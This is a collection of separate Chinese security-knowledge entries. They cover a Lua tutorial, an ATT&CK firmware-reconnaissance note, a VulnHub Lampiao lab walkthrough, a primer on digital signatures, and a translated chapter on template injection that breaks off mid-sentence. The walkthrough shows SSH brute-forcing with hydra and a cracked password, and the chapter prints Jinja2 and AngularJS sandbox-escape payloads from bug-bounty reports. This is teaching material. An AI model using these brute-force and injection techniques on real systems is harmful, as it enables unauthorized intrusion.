线程跟协程的区别:线程可以同时多个运行,而协程任意时刻只能运行一个,并且处于运行状态的协程只有被挂起(suspend)时才会暂停。 ### userdata(自定义类型) userdata 是一种用户自定义数据,用于表示一种由应用程序或 C/C++ 语言库所创建的类型,可以将任意 C/C++ 的任意数据类型的数据(通常是 struct 和 指针)存储到 Lua 变量中调用。 --- ## 变量 变量在使用前,需要在代码中进行声明,即创建该变量。 编译程序执行代码之前编译器需要知道如何给语句变量开辟存储区,用于存储变量的值。 Lua 变量有三种类型:全局变量、局部变量、表中的域。 Lua 中的变量全是全局变量,那怕是语句块或是函数里,除非用 local 显式声明为局部变量。 局部变量的作用域为从声明位置开始到所在语句块结束。 变量的默认值均为 nil。 ```lua a = 5 -- 全局变量 local b = 5 -- 局部变量 function joke() c = 5 -- 全局变量 local d = 6 -- 局部变量 end joke() print(c,d) --> 5 nil do local a = 6 -- 局部变量 b = 6 -- 对局部变量重新赋值 print(a,b); --> 6 6 end print(a,b) --> 5 6 ``` ### 赋值语句 赋值是改变一个变量的值和改变表域的最基本的方法。 ```lua a = "hello" .. "world" t.n = t.n + 1 ``` Lua 可以对多个变量同时赋值,变量列表和值列表的各个元素用逗号分开,赋值语句右边的值会依次赋给左边的变量。 ```lua a, b = 10, 2*x <--> a=10; b=2*x ``` 遇到赋值语句 Lua 会先计算右边所有的值然后再执行赋值操作,所以我们可以这样进行交换变量的值: ```lua x, y = y, x -- swap 'x' for 'y' a[i], a[j] = a[j], a[i] -- swap 'a[i]' for 'a[j]' ``` 当变量个数和值的个数不一致时,Lua 会一直以变量个数为基础采取以下策略: ``` a. 变量个数 > 值的个数 按变量个数补足nil b. 变量个数 < 值的个数 多余的值会被忽略 ``` ```lua a, b, c = 0, 1 print(a,b,c) --> 0 1 nil a, b = a+1, b+1, b+2 -- value of b+2 is ignored print(a,b) --> 1 2 a, b, c = 0 print(a,b,c) --> 0 nil nil ``` 上面最后一个例子是一个常见的错误情况,注意:如果要对多个变量赋值必须依次对每个变量赋值。 ```lua a, b, c = 0, 0, 0 print(a,b,c) --> 0 0 0 ``` 多值赋值经常用来交换变量,或将函数调用返回给变量: ```lua a, b = f() ``` `f()` 返回两个值,第一个赋给 `a`,第二个赋给 `b`。 ### 索引 对 table 的索引使用方括号 `[]`。Lua 也提供了 `.` 操作。 ```lua t[i] t.i -- 当索引为字符串类型时的一种简化写法 gettable_event(t,i) -- 采用索引访问本质上是一个类似这样的函数调用 ``` --- ## 流程控制 ### while Lua 编程语言中 while 循环语句在判断条件为 true 时会重复执行循环体语句。 ```lua while(condition) do statements end ``` statements(循环体语句) 可以是一条或多条语句,condition(条件) 可以是任意表达式,在 condition(条件) 为 true 时执行循环体语句。 ```lua a=10 while( a < 20 ) do print("a 的值为:", a) a = a+1 end ``` ### for #### 数值for循环 Lua 编程语言中 for 循环语句可以重复执行指定语句,重复次数可在 for 语句中控制。 ```lua for var=exp1,exp2,exp3 do <执行体> end ``` var 从 exp1 变化到 exp2,每次变化以 exp3 为步长递增 var,并执行一次 "执行体"。exp3 是可选的,如果不指定,默认为1。 ```lua for i=10,1,-1 do print(i) end ``` ```lua function f(x) print("function") return x*2 end for i=1,f(5) do print(i) end ``` for 的三个表达式在循环开始前一次性求值,以后不再进行求值。比如上面的 f(5) 只会在循环开始前执行一次,其结果用在后面的循环中。 #### 泛型for循环 泛型 for 循环通过一个迭代器函数来遍历所有值,类似 java 中的 foreach 语句。 ```lua --打印数组a的所有值 a = {"one", "two", "three"} for i, v in ipairs(a) do print(i, v) end ``` i 是数组索引值,v 是对应索引的数组元素值。ipairs 是 Lua 提供的一个迭代器函数,用来迭代数组。 ```lua days = {"Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"} for i,v in ipairs(days) do print(v) end ``` ### repeat...unti Lua 编程语言中 repeat...until 循环语句不同于 for 和 while循环,for 和 while 循环的条件语句在当前循环执行开始时判断,而 repeat...until 循环的条件语句在当前循环结束后判断。 ```lua repeat statements until( condition ) ``` ```lua --[ 变量定义 --] a = 10 --[ 执行循环 --] repeat print("a的值为:", a) a = a + 1 until( a > 15 ) ``` ### 循环嵌套 ```lua j =2 for i=2,10 do for j=2,(i/j) , 2 do if(not(i%j)) then break end if(j > (i/j))then print("i 的值为:",i) end end end ``` ### break 语句 Lua 编程语言 break 语句插入在循环体中,用于退出当前循环或语句,并开始脚本执行紧接着的语句。 如果你使用循环嵌套,break语句将停止最内层循环的执行,并开始执行的外层的循环语句。 ```lua --[ 定义变量 --] a = 10 --[ while 循环 --] while( a < 20 ) do print("a 的值为:", a) a=a+1 if( a > 15) then --[ 使用 break 语句终止循环 --] break end end ``` ### goto 语句 Lua 语言中的 goto 语句允许将控制流程无条件地转到被标记的语句处。 ```lua local a = 1 ::label:: print("--- goto label ---") a = a+1 if a < 3 then goto label -- a 小于 3 的时候跳转到标签 label end ``` ### if 语句 Lua if 语句 由一个布尔表达式作为条件判断,其后紧跟其他语句组成。 ```lua if(布尔表达式) then --[ 在布尔表达式为 true 时执行的语句 --] end ``` 以下实例用于判断变量 a 的值是否小于 20: ```lua --[ 定义变量 --] a = 10; --[ 使用 if 语句 --] if( a < 20 ) then --[ if 条件为 true 时打印以下信息 --] print("a 小于 20" ); end print("a 的值为:", a); ``` ### if...else 语句 Lua if 语句可以与 else 语句搭配使用, 在 if 条件表达式为 false 时执行 else 语句代码块。 ```lua if(布尔表达式) then --[ 布尔表达式为 true 时执行该语句块 --] else --[ 布尔表达式为 false 时执行该语句块 --] end ``` 在布尔表达式为 true 时会 if 中的代码块会被执行,在布尔表达式为 false 时,else 的代码块会被执行。 Lua 认为 false 和 nil 为假,true 和非 nil 为真。要注意的是 Lua 中 0 为 true。 以下实例用于判断变量 a 的值 ```lua --[ 定义变量 --] a = 100; --[ 检查条件 --] if( a < 20 ) then --[ if 条件为 true 时执行该语句块 --] print("a 小于 20" ) else --[ if 条件为 false 时执行该语句块 --] print("a 大于 20" ) end print("a 的值为 :", a) ``` ### elseif Lua if 语句可以与 elseif...else 语句搭配使用, 在 if 条件表达式为 false 时执行 elseif...else 语句代码块,用于检测多个条件语句。 ```lua if( 布尔表达式 1) then --[ 在布尔表达式 1 为 true 时执行该语句块 --] elseif( 布尔表达式 2) then --[ 在布尔表达式 2 为 true 时执行该语句块 --] elseif( 布尔表达式 3) then --[ 在布尔表达式 3 为 true 时执行该语句块 --] else --[ 如果以上布尔表达式都不为 true 则执行该语句块 --] end ``` 以下实例对变量 a 的值进行判断 ```lua --[ 定义变量 --] a = 100 --[ 检查布尔条件 --] if( a == 10 ) then --[ 如果条件为 true 打印以下信息 --] print("a 的值为 10" ) elseif( a == 20 ) then --[ if else if 条件为 true 时打印以下信息 --] print("a 的值为 20" ) elseif( a == 30 ) then --[ if else if condition 条件为 true 时打印以下信息 --] print("a 的值为 30" ) else --[ 以上条件语句没有一个为 true 时打印以下信息 --] print("没有匹配 a 的值" ) end print("a 的真实值为: ", a ) ``` --- ## 函数 在Lua中,函数是对语句和表达式进行抽象的主要方法。既可以用来处理一些特殊的工作,也可以用来计算一些值。 Lua 提供了许多的内建函数,你可以很方便的在程序中调用它们,如 print() 函数可以将传入的参数打印在控制台上。 Lua 函数主要有两种用途: 1. 完成指定的任务,这种情况下函数作为调用语句使用; 2. 计算并返回值,这种情况下函数作为赋值语句的表达式使用。 Lua 编程语言函数定义格式如下: ```lua optional_function_scope function function_name( argument1, argument2, argument3..., argumentn) function_body return result_params_comma_separated end -- optional_function_scope: 该参数是可选的制定函数是全局函数还是局部函数,未设置该参数默认为全局函数,如果你需要设置函数为局部函数需要使用关键字 local。 -- function_name: 指定函数名称。 -- argument1, argument2, argument3..., argumentn: 函数参数,多个参数以逗号隔开,函数也可以不带参数。 -- function_body: 函数体,函数中需要执行的代码语句块。 -- result_params_comma_separated: 函数返回值,Lua语言函数可以返回多个值,每个值以逗号隔开。 ``` 以下实例定义了函数 max(),参数为 num1, num2,用于比较两值的大小,并返回最大值: ```lua --[[ 函数返回两个值的最大值 --]] function max(num1, num2) if (num1 > num2) then result = num1; else result = num2; end return result; end -- 调用函数 print("两值比较最大值为 ",max(10,4)) print("两值比较最大值为 ",max(5,6)) ``` Lua 中我们可以将函数作为参数传递给函数,如下实例: ```lua myprint = function(param) print("这是打印函数 - ##",param,"##") end function add(num1,num2,functionPrint) result = num1 + num2 -- 调用传递的函数参数 functionPrint(result) end myprint(10) -- myprint 函数作为参数传递 add(2,5,myprint) ``` ### 多返回值 Lua函数可以返回多个结果值,比如string.find,其返回匹配串"开始和结束的下标"(如果不存在匹配串返回nil)。 ```lua > s, e = string.find("www.test.com", "test") > print(s, e) 5 10 ``` Lua函数中,在return后列出要返回的值的列表即可返回多值,如: ```lua function maximum (a) local mi = 1 -- 最大值索引 local m = a[mi] -- 最大值 for i,val in ipairs(a) do if val > m then mi = i m = val end end return m, mi end print(maximum({8,10,23,12,5})) ``` ### 可变参数 Lua 函数可以接受可变数目的参数,和 C 语言类似,在函数参数列表中使用三点 ... 表示函数有可变的参数。 ```lua function add(...) local s = 0 for i, v in ipairs{...} do --> {...} 表示一个由所有变长参数构成的数组 s = s + v end return s end print(add(3,4,5,6,7)) --->25 ``` 我们可以将可变参数赋值给一个变量。 例如,我们计算几个数的平均值: ```lua function average(...) result = 0 local arg={...} --> arg 为一个表,局部变量 for i,v in ipairs(arg) do result = result + v end print("总共传入 " .. #arg .. " 个数") return result/#arg end print("平均值为",average(10,5,3,4,5,6)) ``` 也可以通过 select("#",...) 来获取可变参数的数量: ```lua function average(...) result = 0 local arg={...} for i,v in ipairs(arg) do result = result + v end print("总共传入 " .. select("#",...) .. " 个数") return result/select("#",...) end print("平均值为",average(10,5,3,4,5,6)) ``` 有时候我们可能需要几个固定参数加上可变参数,固定参数必须放在变长参数之前: ```lua function fwrite(fmt, ...) ---> 固定的参数fmt return io.write(string.format(fmt, ...)) end fwrite("test\n") --->fmt = "test", 没有变长参数。 fwrite("%d%d\n", 1, 2) --->fmt = "%d%d", 变长参数为 1 和 2 ``` 通常在遍历变长参数的时候只需要使用 {…},然而变长参数可能会包含一些 nil,那么就可以用 select 函数来访问变长参数了:select('#', …) 或者 select(n, …) * select('#', …) 返回可变参数的长度。 * select(n, …) 用于返回从起点 n 开始到结束位置的所有参数列表。 调用 select 时,必须传入一个固定实参 selector(选择开关) 和一系列变长参数。如果 selector 为数字 n,那么 select 返回参数列表中从索引 n 开始到结束位置的所有参数列表,否则只能为字符串 #,这样 select 返回变长参数的总数。 ```lua function f(...) a = select(3,...) -->从第三个位置开始,变量 a 对应右边变量列表的第一个参数 print (a) print (select(3,...)) -->打印所有列表参数 end f(0,1,2,3,4,5) ``` ```lua do function foo(...) for i = 1, select('#', ...) do -->获取参数总数 local arg = select(i, ...); -->读取参数,arg 对应的是右边变量列表的第一个参数 print("arg", arg); end end foo(1, 2, 3, 4); end ``` --- ## 运算符 运算符是一个特殊的符号,用于告诉解释器执行特定的数学或逻辑运算。Lua 提供了以下几种运算符类型: ### 算术运算符 ```lua a = 21 b = 10 c = a + b print("Line 1 - c 的值为 ", c ) c = a - b print("Line 2 - c 的值为 ", c ) c = a * b print("Line 3 - c 的值为 ", c ) c = a / b print("Line 4 - c 的值为 ", c ) c = a % b print("Line 5 - c 的值为 ", c ) c = a^2 print("Line 6 - c 的值为 ", c ) c = -a print("Line 7 - c 的值为 ", c ) ``` ### 关系运算符 ```lua a = 21 b = 10 if( a == b ) then print("Line 1 - a 等于 b" ) else print("Line 1 - a 不等于 b" ) end if( a ~= b ) then print("Line 2 - a 不等于 b" ) else print("Line 2 - a 等于 b" ) end if ( a < b ) then print("Line 3 - a 小于 b" ) else print("Line 3 - a 大于等于 b" ) end if ( a > b ) then print("Line 4 - a 大于 b" ) else print("Line 5 - a 小于等于 b" ) end -- 修改 a 和 b 的值 a = 5 b = 20 if ( a <= b ) then print("Line 5 - a 小于等于 b" ) end if ( b >= a ) then print("Line 6 - b 大于等于 a" ) end ``` ### 逻辑运算符 ```lua a = true b = true if ( a and b ) then print("a and b - 条件为 true" ) end if ( a or b ) then print("a or b - 条件为 true" ) end print("---------分割线---------" ) -- 修改 a 和 b 的值 a = false b = true if ( a and b ) then print("a and b - 条件为 true" ) else print("a and b - 条件为 false" ) end if ( not( a and b) ) then print("not( a and b) - 条件为 true" ) else print("not( a and b) - 条件为 false" ) end ``` ### 其他运算符 - `..` 连接两个字符串 - `#` 一元运算符,返回字符串或表的长度。 ```lua a = "Hello " b = "World" print("连接字符串 a 和 b ", a..b ) print("b 字符串长度 ",#b ) print("字符串 Test 长度 ",#"Test" ) ``` ### 运算符优先级 ```lua ^ not - (unary) * / % + - .. < > <= >= ~= == and or ``` ```lua a+i < b/2+1 <--> (a+i) < ((b/2)+1) 5+x^2*8 <--> 5+((x^2)*8) a < y and y <= z <--> (a < y) and (y <= z) -x^2 <--> -(x^2) x^y^z <--> x^(y^z) ``` ```lua a = 20 b = 10 c = 15 d = 5 e = (a + b) * c / d;-- ( 30 * 15 ) / 5 print("(a + b) * c / d 运算值为 :",e ) e = ((a + b) * c) / d; -- (30 * 15 ) / 5 print("((a + b) * c) / d 运算值为 :",e ) e = (a + b) * (c / d);-- (30) * (15/5) print("(a + b) * (c / d) 运算值为 :",e ) e = a + (b * c) / d; -- 20 + (150/5) print("a + (b * c) / d 运算值为 :",e ) ``` --- ## 文件 I/O Lua I/O 库用于读取和处理文件。分为简单模式(和C一样)、完全模式。 - 简单模式(simple model)拥有一个当前输入文件和一个当前输出文件,并且提供针对这些文件相关的操作。 - 完全模式(complete model) 使用外部的文件句柄来实现。它以一种面对对象的形式,将所有的文件操作定义为文件句柄的方法 ### 简单模式 简单模式在做一些简单的文件操作时较为合适。但是在进行一些高级的文件操作的时候,简单模式就显得力不从心。例如同时读取多个文件这样的操作,使用完全模式则较为合适。 ```lua file = io.open (filename [, mode]) -- r 以只读方式打开文件,该文件必须存在。 -- w 打开只写文件,若文件存在则文件长度清为0,即该文件内容会消失。若文件不存在则建立该文件。 -- a 以附加的方式打开只写文件。若文件不存在,则会建立该文件,如果文件存在,写入的数据会被加到文件尾,即文件原先的内容会被保留。(EOF符保留) -- r+ 以可读写方式打开文件,该文件必须存在。 -- w+ 打开可读写文件,若文件存在则文件长度清为零,即该文件内容会消失。若文件不存在则建立该文件。 -- a+ 与a类似,但此文件可读可写 -- b 二进制模式,如果文件是二进制文件,可以加上b -- + 号表示对文件既可以读也可以写 ``` 以下为 file.lua 文件代码,操作的文件为test.lua(如果没有你需要创建该文件),代码如下: ```lua -- 以只读方式打开文件 file = io.open("test.lua", "r") -- 设置默认输入文件为 test.lua io.input(file) -- 输出文件第一行 print(io.read()) -- 关闭打开的文件 io.close(file) -- 以附加的方式打开只写文件 file = io.open("test.lua", "a") -- 设置默认输出文件为 test.lua io.output(file) -- 在文件最后一行添加 Lua 注释 io.write("-- test.lua 文件末尾注释") -- 关闭打开的文件 io.close(file) ``` 执行以上代码,你会发现,输出了 test.lua 文件的第一行信息,并在该文件最后一行添加了 lua 的注释 在以上实例中我们使用了 io."x" 方法,其中 io.read() 中我们没有带参数 * `"*n"` 读取一个数字并返回它。例:file.read("*n") * `"*a"` 从当前位置读取整个文件。例:file.read("*a") * `"*l"` (默认) 读取下一行,在文件尾 (EOF) 处返回 nil。例:file.read("*l") * number 返回一个指定字符个数的字符串,或在 EOF 时返回 nil。例:file.read(5) 其他的 io 方法有: * io.tmpfile():返回一个临时文件句柄,该文件以更新模式打开,程序结束时自动删除 * io.type(file): 检测obj是否一个可用的文件句柄 * io.flush(): 向文件写入缓冲中的所有数据 * io.lines(optional file name): 返回一个迭代函数,每次调用将获得文件中的一行内容,当到文件尾时,将返回nil,但不关闭文件 ### 完全模式 通常我们需要在同一时间处理多个文件。我们需要使用 file:function_name 来代替 io.function_name 方法。以下实例演示了如何同时处理同一个文件: ```lua -- 以只读方式打开文件 file = io.open("test.lua", "r") -- 输出文件第一行 print(file:read()) -- 关闭打开的文件 file:close() -- 以附加的方式打开只写文件 file = io.open("test.lua", "a") -- 在文件最后一行添加 Lua 注释 file:write("--test") -- 关闭打开的文件 file:close() ``` 执行以上代码,你会发现,输出了 test.lua 文件的第一行信息,并在该文件最后一行添加了 lua 的注释。 以下实例使用了 seek 方法,定位到文件倒数第 25 个位置并使用 read 方法的 *a 参数,即从当期位置(倒数第 25 个位置)读取整个文件。 ```lua -- 以只读方式打开文件 file = io.open("test.lua", "r") file:seek("end",-25) print(file:read("*a")) -- 关闭打开的文件 file:close() ``` --- ## 错误处理 程序运行中错误处理是必要的,在我们进行文件操作,数据转移及 web service 调用过程中都会出现不可预期的错误。如果不注重错误信息的处理,就会造成信息泄露,程序无法运行等情况。 ### 语法错误 语法错误通常是由于对程序的组件(如运算符、表达式)使用不当引起的。一个简单的实例如下: ```lau -- test.lua 文件 a == 2 ``` 以上代码执行结果为: ``` lua: test.lua:2: syntax error near '==' ``` 正如你所看到的,以上出现了语法错误,一个 "=" 号跟两个 "=" 号是有区别的。一个 "=" 是赋值表达式两个 "=" 是比较运算。 另外一个实例: ```lua for a= 1,10 print(a) end ``` 执行以上程序会出现如下错误: ``` lua: test2.lua:2: 'do' expected near 'print' ``` 语法错误比程序运行错误更简单,运行错误无法定位具体错误,而语法错误我们可以很快的解决,如以上实例我们只要在 for 语句下添加 do 即可: ```lua for a= 1,10 do print(a) end ``` ### 运行错误 运行错误是程序可以正常执行,但是会输出报错信息。如下实例由于参数输入错误,程序执行时报错: ```lua function add(a,b) return a+b end add(10) ``` 当我们编译运行以下代码时,编译是可以成功的,但在运行的时候会产生如下错误: ``` lua: test2.lua:2: attempt to perform arithmetic on local 'b' (a nil value) stack traceback: test2.lua:2: in function 'add' test2.lua:5: in main chunk [C]: ? ``` lua 里调用函数时,即使实参列表和形参列表不一致也能成功调用,多余的参数会被舍弃,缺少的参数会被补为 nil。 以上报错信息是由于参数 b 被补为 nil 后,nil 参与了 + 运算。 假如 add 函数内不是 "return a+b" 而是 "print(a,b)" 的话,结果会变成 "10 nil" 不会报错。 ### 错误处理 我们可以使用两个函数:assert 和 error 来处理错误。实例如下: ```lua local function add(a,b) assert(type(a) == "number", "a 不是一个数字") assert(type(b) == "number", "b 不是一个数字") return a+b end add(10) ``` 执行以上程序会出现如下错误: ``` lua: test.lua:3: b 不是一个数字 stack traceback: [C]: in function 'assert' test.lua:3: in local 'add' test.lua:6: in main chunk [C]: in ? ``` 实例中 assert 首先检查第一个参数,若没问题,assert 不做任何事情;否则,assert 以第二个参数作为错误信息抛出。 #### error函数 ```lua error (message [, level]) ``` 功能:终止正在执行的函数,并返回 message 的内容作为错误信息 (error 函数永远都不会返回) 通常情况下,error 会附加一些错误位置的信息到 message 头部。 Level 参数指示获得错误的位置: * Level=1[默认]:为调用 error 位置 (文件 + 行号) * Level=2:指出哪个调用 error 的函数的函数 * Level=0: 不添加错误位置信息 ### pcall 和 xpcall、debug Lua 中处理错误,可以使用函数 pcall(protected call)来包装需要执行的代码。 pcall 接收一个函数和要传递给后者的参数,并执行,执行结果:有错误、无错误;返回值 true 或者或 false, errorinfo。 语法格式如下 ```lua if pcall(function_name, ….) then -- 没有错误 else -- 一些错误 end ``` ```lua > =pcall(function(i) print(i) end, 33) 33 true > =pcall(function(i) print(i) error('error..') end, 33) 33 false stdin:1: error.. ``` pcall 以一种 "保护模式" 来调用第一个参数,因此 pcall 可以捕获函数执行中的任何错误。 通常在错误发生时,希望落得更多的调试信息,而不只是发生错误的位置。但 pcall 返回时,它已经销毁了调用桟的部分内容。 Lua 提供了 xpcall 函数,xpcall 接收第二个参数——一个错误处理函数,当错误发生时,Lua 会在调用桟展开(unwind)前调用错误处理函数,于是就可以在这个函数中使用 debug 库来获取关于错误的额外信息了。 debug 库提供了两个通用的错误处理函数: * debug.debug:提供一个 Lua 提示符,让用户来检查错误的原因 * debug.traceback:根据调用桟来构建一个扩展的错误消息 ```lua function myfunction () n = n/nil end function myerrorhandler( err ) print( "ERROR:", err ) end status = xpcall( myfunction, myerrorhandler ) print( status) ```
sec-knowleage
# T1592-003-收集目标组织主机信息-固件信息 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集有关受害者主机固件的信息,这些信息可以在目标定位期间使用。有关主机固件的信息可能包括各种详细信息,例如特定主机上的类型和版本,这可以用来推测出更多目标环境中主机的信息(例如:配置,用途,使用期限/补丁级别等)。 攻击者可以通过各种方式收集此信息,例如通过网络钓鱼收集。有关固件的信息也可能通过在线或其他可访问的数据集(例如:职位发布,网络地图,评估报告,履历表或购买发票)暴露给攻击者(引自:ArsTechnica Intel)。收集这些信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[搜索开放网站/域](https://contribute.knowledge.qihoo.net/detail/technique/T1593)或者[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596))),建立运营资源(例如:[开发能力](https://contribute.knowledge.qihoo.net/detail/technique/T1587)或[获取能力](https://contribute.knowledge.qihoo.net/detail/technique/T1588)),或实现初始访问(例如:[供应链攻陷](https://contribute.knowledge.qihoo.net/detail/technique/T1195)或[面向公众应用的漏洞利用](https://contribute.knowledge.qihoo.net/detail/technique/T1190))。 ## 测试案例 无 ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1592-001-收集目标组织主机信息-硬件信息]] [[T1592-002-收集目标组织主机信息-软件信息]] [[T1592-004-收集目标组织主机信息-客户端配置]] ## 参考推荐 MITRE-ATT&CK-T1592-003 <https://attack.mitre.org/techniques/T1592/003/>
sec-knowleage
# Lampiao > https://download.vulnhub.com/lampiao/Lampiao.zip 靶场IP:`192.168.32.233 ` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.233 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 11:37 EDT Nmap scan report for 192.168.32.233 Host is up (0.0018s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http? 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu)) ``` 浏览器访问80端口 ![image-20220912132600884](../../.gitbook/assets/image-20220912132600884.png) 浏览器访问1898端口 ![image-20220912132649456](../../.gitbook/assets/image-20220912132649456.png) 这看起来很有希望。我们可以看到这是一个 Drupal 博客,作者tiago和Eder 提交了两篇文章。使用这些用户名可能会暴力破解在端口 22 上运行的 SSH 服务。 ``` tiago Eder ``` 生成密码字典 ``` cewl http://192.168.32.233:1898/?q=node/1 > pass ``` 使用hydra爆破 ``` ┌──(root💀kali)-[/tmp] └─# hydra -L user -P pass ssh://192.168.32.233 Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-12 01:50:47 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 1690 login tries (l:2/p:845), ~106 tries per task [DATA] attacking ssh://192.168.32.233:22/ [22][ssh] host: 192.168.32.233 login: tiago password: Virgulino [STATUS] 939.00 tries/min, 939 tries in 00:01h, 753 to do in 00:01h, 16 active [STATUS] 510.50 tries/min, 1021 tries in 00:02h, 671 to do in 00:02h, 16 active ``` 然后使用脏牛漏洞提权。
sec-knowleage
# 数字签名 在日常生活中,我们在参加某个活动的时候,可能会需要签名,以便于证明我们确实到场了,,,防止导员啥的,你懂得。。。但其实吧,这种签名很容易被伪造,随便找一个人代签一下,或者说找一个会模仿别人字迹的人帮忙签一下。在计算机世界中,我们可能会需要电子签名,因为我们大多数情况下会使用电子文件,那这时候怎么办呢?当然,我们仍然可以选择使用自己的名字。但其实还有另外一种方式,那就是采用数字签名,这种签名更加难以伪造,可信程度更高。数字签名的主要用处是确保消息确实来自于声称产生该消息的人。 数字签名(digital signature)主要用于对数字消息(digital message)进行签名,以防消息的冒名伪造或篡改,亦可以用于通信双方的身份鉴别。 数字签名依赖于非对称密码,因为我们必须确保一方能够做的事情,而另一方不能够做出这样的事情。其基本原理如下 数字签名应当具有以下几个特性: (1) 签名是可信的:任何人都可以验证签名的有效性。 (2) 签名是不可伪造的:除了合法的签名者之外,任何其他人伪造其签名是困难的。 (3) 签名是不可复制的:对一个消息的签名不能通过复制变为另一个消息的签名。如果对一个消息的签名是从别处复制得到的,则任何人都可以发现消息与签名之间的不一致性,从而可以拒绝签名的消息。 (4) 签名的消息是不可改变的:经签名的消息不能被篡改。一旦签名的消息被篡改,则任何人都可以发现消息与签名之间的不一致性。 (5) 签名是不可抵赖的:签名者事后不能否认自己的签名。
sec-knowleage
{% raw %} # 十六、模板注入 > 作者:Peter Yaworski > 译者:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 模板引擎是允许开发者或设计师在创建动态网页的时候,从数据展示中分离编程逻辑的工具。换句话说,除了拥有接收 HTTP 请求的代码,从数据库查询必需的数据并且之后将其在单个文件中将其展示给用户之外,模板引擎从计算它的剩余代码中分离了数据的展示(此外,流行的框架和内容管理系统也会从查询中分离 HTTP 请求)。 服务端模板注入(SSTI)在这些引擎渲染用户输入,而不合理处理它的时候发生,类似于 XSS,例如,jinja2 是 Python 的模板语言,取自 nVisium,一个 404 错误页面的示例为: ```py @app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%} {%% block body %%} <div class="center-content error"> <h1>Opps! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404 ``` 来源:https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2 这里,`page_not_found`函数渲染了 HTML,开发者将 URL 格式化为字符串并将其展示给用户。所以,如果攻击者输入了`http://foo.com/nope{{7*7}}`,开发者的代码会渲染`http://foo.com/nope49,`,实际上求解了传入的表达式。当你传入实际的 Python 代码,并且 jinja2 会求值时,它的严重性还会增加。 现在,每个 SSTI 的严重性取决于所用的模板引擎,以及在该字段上进行何种验证(如果有的话)。例如,jinja2 存在任意文件访问和远程代码执行,Rails 的 ERB 模板引擎存在远程代码执行,Shopify 的 Liquid 引擎允许访问受限数量的模板方法,以及其他。展示你所发现的严重性实际上取决于测试什么是可能的。并且虽然你可能能够求解一些代码,它可能最后不是重要的漏洞。例如,我通过使用载荷`{{4+4}}`来发现了 SSTI,它返回了 8。但是,当我使用`{{4*4}}`,返回了文本`{{44}}`,因为星号被过滤了。这个字符安也溢出了特殊字符,例如`()`和`[]`,仅仅允许最大 30 个字符。所有这些组合起来使 SSTI 变得无用。 与 SSTI 相反的是客户端模板注入(CSTI),要注意这里的 CSTI 不是一个通用的漏洞缩写,像这本书的其它缩写一样,我推荐将其用于报告中。这个漏洞在应用使用客户端模板框架时出现,例如 AngularJS,将用户内容嵌入到 Web 页面中而不处理它。它非常类似于 SSTI,除了它是个客户端框架,产生了漏洞。 Angular 中 CSTI 的测试类似于 jinja2 并且设计使用`{{}}`和其中的一些表达式。 ## 示例 ### 1\. Uber Angular 模板注入 难度:高 URL:`developer.uber.com` 报告链接:`https://hackerone.com/reports/125027` 报告日期:2016.3.22 奖金:$3000 描述: 2016 年 3 月,James Kettle(Burp 的开发者之一,在工具一章所推荐的工具)使用 URL `https://developer.uber.com/docs/deeplinking?q=wrtz{{7*7}}`发现了 CSTI 漏洞。根据他的报告,如果你查看并渲染了页面源码,字符串`wrtz49`是存在的,表明该表达式被求值了。 现在,有趣的是,Angular 使用叫做沙箱的东西来“维护应用职责的合理分离”。有时这种由沙箱提供的分离设计为一种安全特性,来限制潜在的攻击者可访问的东西。但是,对于 Angular 来说,文档中写着“这个沙箱并不用于阻止想要编辑模板的攻击者,而且在两个花括号的帮定种可能运行任意代码。”之后,James 设法这样做了。 使用下面的 JavaScript,James能够绕过 Angular 沙箱并且执行任意 JavaScript 代码: ``` https://developer.uber.com/docs/deep-linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescriptor(_.__proto__,$).value,0,"alert(1)")()}}zzzz ``` ![](img/16-1-1.jpg) Uber 文档中的 Angular 注入 它注意到,这个漏洞可以用于劫持开发者账户,以及关联 APP。 > 重要结论 > 一定要注意 AngularJS 的使用,并使用 Angular 语法`{{}}`来测试字段。为了使你更加轻松,使用 Firefox 的插件 Wappalyzer - 它会向你展示站点使用了什么软件,包含 AngularJS。 ### 2\. Uber 模板注入 难度:中 URL:`riders.uber.com` URL:`hackerone.com/reports/125980` 报告日期:2016.3.25 奖金:$10000 描述: Uber 在 HackerOne 发起它们的公开漏洞奖励计划时,它们也包含了一个“寻宝图”,它可以在它们的站点找到,`https://eng.uber.com/bug-bounty`。 这个地图记录了 Uber 所使用的的一些敏感的子域,包含彼此依赖的技术。所以,对于问题中的站点来说,` riders.uber.com`,技术栈包括 Python Flask 和 NodeJS。所以,对于这个漏洞,Orange(攻击者)注意到了所用的 Flask 和 Jinja2,并在名称字段测试语法。 现在,在测试过程中,Orange 注意到了任何`riders.uber.com`上个人资料的修改,都会发送一封邮件,以及一个文本消息给账户拥有者。所以,根据他的博文,他测试了`{{1+1}}`,这导致站点解析了表达式并在给它的邮件中打印了`2`。 下面它尝试了载荷`{% For c in [1,2,3]%} {{c,c,c}} {% endfor %} `,它执行了一个`for`循环并产生了下面的个人资料页面: 